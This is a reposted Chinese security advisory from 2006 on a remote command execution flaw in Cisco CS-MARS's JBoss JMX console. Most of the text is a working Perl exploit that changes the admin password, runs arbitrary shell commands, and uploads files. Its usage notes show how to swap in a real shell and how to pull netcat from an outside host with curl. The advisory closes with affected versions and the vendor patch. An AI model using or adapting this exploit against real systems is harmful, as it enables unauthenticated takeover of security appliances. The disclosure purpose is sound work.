[转载]Cisco CS-MARS JBoss远程命令执行漏洞

信息来源：绿盟科技

发布日期：2006-07-19
更新日期：2006-07-20

受影响系统：
Cisco CS-MARS 4.1.5
Cisco CS-MARS 4.1.3
Cisco CS-MARS 4.1.2
Cisco CS-MARS 4.1
不受影响系统：
Cisco CS-MARS 4.2.1
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 19075

Cisco安全监控、分析和响应系统（CS-MARS）可从各种网络设备接收事件日志，关联并分析接收到的安全问题数据，并报告发现。

CS-MARS安装了JBoss Web应用服务器，服务器处理用户请求时存在漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

未经认证的远程用户可以创建特制的HTTP请求，通过可选的JBoss JMX控制台在CS-MARS设备上以CS-MARS管理员权限执行任意shell命令。

<*来源：Jon Hart （warchild@spoofed.org）
  
  链接：http://marc.theaimsgroup.com/?l= ... 32589021662&w=2
      http://www.cisco.com/warp/public/707/cisco-sa-20060719-mars.shtml
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use IO::Socket;

my $target = shift(@ARGV) || &usage;
my $attack_type = shift(@ARGV) || &usage;

for ($attack_type) {
  if   (/pass/) { &change_passwd(@ARGV); }
  elsif (/cmd/) { &run_cmd(@ARGV); }
  elsif (/upload/) { &upload(@ARGV); }
  elsif (/[bean|bsh]/) { &run_bsh(@ARGV); }
  else { &usage; }
}

sub change_passwd {
  my $passwd = shift;
  &run_cmd("/opt/janus/release/bin/pnpasswd $passwd");
}

sub encode {
  my $en = shift;
  my $string = "";
  foreach my $char (split(//, $en)) {
    if ($char =~ /([:|\/|(|)|"|&#39;|`| ])/) {
      $string .= sprintf("%%%x", ord($1));
    } else { $string .= $char; }
  }
  return $string;
}

sub jmx_post {
  my $form_data = shift;
  my $ua = LWP::UserAgent->new;
  $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
  my $req = HTTP::Request->new(POST => "http://$target/jmx-console/HtmlAdaptor");
  $req->content_type(&#39;application/x-www-form-urlencoded&#39;);
  $req->content(&encode($form_data));

  my $res = $ua->request($req);

  return $res->is_success ? 0 : $res->status_line;
}

sub run_bsh {
  my $file = shift;
  my $bsh = "";
  open(BSH, "$file") or die "Couldn&#39;t open $file: $!\n";
  print("Sending beanshell from $file: ");
  while (<BSH>) {
    # the bsh must be one long string...
    chomp();
    $bsh .= $_;
  }
  
  printf("%s\n", &send_beanshell($bsh) == 0 ? "Success" : "Failed");
}

sub run_cmd {
  my $cmd = shift;
  my $code = "";
  
  # & in the command needs to be encoded so as to not be confused with the &
  # in the URI
  $cmd =~ s/&/%26/g;
  if ($cmd =~ />|\||&/) {
    # exec() does not handle pipes or redirection well, so do this instead
    $code = &#39;String sh = "/bin/sh"; String opt = "-c"; String cmd = "&#39;
        . $cmd .
        &#39;"; String[] exec = new String[] { sh, opt, cmd }; Runtime.getRuntime().exec(exec);&#39;;
  } else {
    $code = "Runtime.getRuntime().exec(\"$cmd\");";
  }

  print("Running &#39;$cmd&#39; on $target: ");
  printf("%s\n", &send_beanshell($code) == 0 ? "Success" : "Failed!");
}

sub send_beanshell {
  my $code = shift;
  # ensure the name of the bsh job within java has a unique name
  my $name = "cmd" . int(rand(65535)) . $$;
  return &jmx_post("action=invokeOp&name=jboss.scripts:service=BSHDeployer&methodIndex=1&arg0=$code&arg1=$name");
}

sub upload {
  # upload a file.  I was too lazy to use org.jboss.console.manager.DeploymentFileRepository
  my $file = shift;
  my $path = shift;
  my $new_name = shift;
  my $chunk = "";
  my $ret = 0;
  open(FILE, "< $file") or die "Couldn&#39;t open $file for reading: $!\n";

  if (!(defined($new_name))) {
    my @path = split(/\//, $file);
    $new_name = $path[$#path];
  }

  print("Uploading $file to $target...\n");
  &run_cmd("touch $path/$new_name");
  while(read(FILE,$chunk,4096)) {
    # encode this file in 4096 byte chunks in a format that is able to be handled by JBoss.
    # There are plenty of ways to do this, but none that were both portable and that didn&#39;t make JBoss
    # throw a 500 or otherwise botch the file.  UGLY.
    $chunk = join(&#39;&#39;, map { sprintf("%03d,", ord("$_")) } split(//, $chunk));
    $ret += &run_cmd("echo -n $chunk | perl -ne &#39;foreach (split(/,/, \$_)) { print chr(\$_); }&#39; >> $path/$new_name");
  }

  printf("Upload of $file to $target:$path/new_name %s!\n", $ret == 0 ? "succeeded" : "failed");
}


sub usage {
  print <<EOF;
  Cisco MARS (CS-MARS) < 4.2.1 JBoss exploit (CSCse47646) POC by Jon Hart <jhart\@spoofed.org>

  Basic Usage:
    $0 <target> <exploit_type> [<exploit_specific_args] ...]

  Extended Usage:
    Change password:
    $0 <target> pass <password>
    Run shell command:
    $0 <target> cmd <your quoted shell command>
    Run BeanShell code:
    $0 <target> bsh /path/to/file/with/beanshell
    Upload files:
    $0 <target> upload <file to upload> <path on target> [<new name>]

    Fun Stuff:
      Get a real shell:
      $0 <target> cmd "cp /opt/janus/release/bin/pnsh /opt/janus/release/bin/pnsh.bak"
      $0 <target> cmd "rm  /opt/janus/release/bin/pnsh"
      $0 <target> cmd "cp /bin/sh /opt/janus/release/bin/pnsh"
      # now ssh to the target...
      [pnadmin\@pnmars bin]\$ id
      uid=501(pnadmin) gid=501(pnadmin) groups=501(pnadmin)
      [pnadmin\@pnmars bin]\$ uname -a
      Linux pnmars 2.4.9-e.57 #1 Thu Dec 2 20:56:19 EST 2004 i686 unknown
      [pnadmin\@pnmars bin]\$ hostname
      pnmars
      
      Download something:
      $0 <target> cmd "curl http://yourhost/nc -o /tmp/nc"

EOF
exit(1);
}

建议：
--------------------------------------------------------------------------------
厂商补丁：

Cisco
-----
Cisco已经为此发布了一个安全公告（cisco-sa-20060719-mars）以及相应补丁:
cisco-sa-20060719-mars：Multiple Vulnerabilities in Cisco Security Monitoring, Analysis and Response System (CS-MARS)
链接：http://www.cisco.com/warp/public/707/cisco-sa-20060719-mars.shtml

补丁下载：
http://www.cisco.com/pcgi-bin/tablebuild.pl/cs-mars?psrtdcat20e2